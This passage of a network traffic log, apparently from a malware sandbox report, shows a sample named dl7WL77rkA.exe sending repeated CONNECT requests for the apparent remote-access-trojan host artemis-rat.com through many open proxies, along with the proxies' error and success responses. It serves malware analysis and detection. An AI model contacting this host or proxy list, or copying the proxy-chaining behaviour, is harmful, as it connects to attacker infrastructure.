Mar 11, 2024 03:30:38.661139011 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.5	49772	50.227.218.172	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.348545074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.5	50397	38.162.30.151	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.349592924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.798530102 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.5	50298	182.52.229.165	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.354543924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.091219902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.702224016 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.5	50403	92.204.134.38	52929	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.363325119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.920433044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.623704910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202022076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092750072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905401945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.905189991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592691898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.5	49739	31.42.184.146	57752	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.375863075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.5	50364	153.127.194.62	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.379909039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.014198065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.595834970 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:09.411199093 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:15.043149948 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:26.307045937 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:49.603123903 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.5	50307	20.219.182.59	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.397371054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.791773081 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.5	49761	161.97.163.52	64109	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.397419930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.514318943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.5	50368	51.178.231.34	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.397898912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.5	50464	172.67.182.60	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.398544073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.553944111 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.5	50442	45.196.151.97	5432	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.402801991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
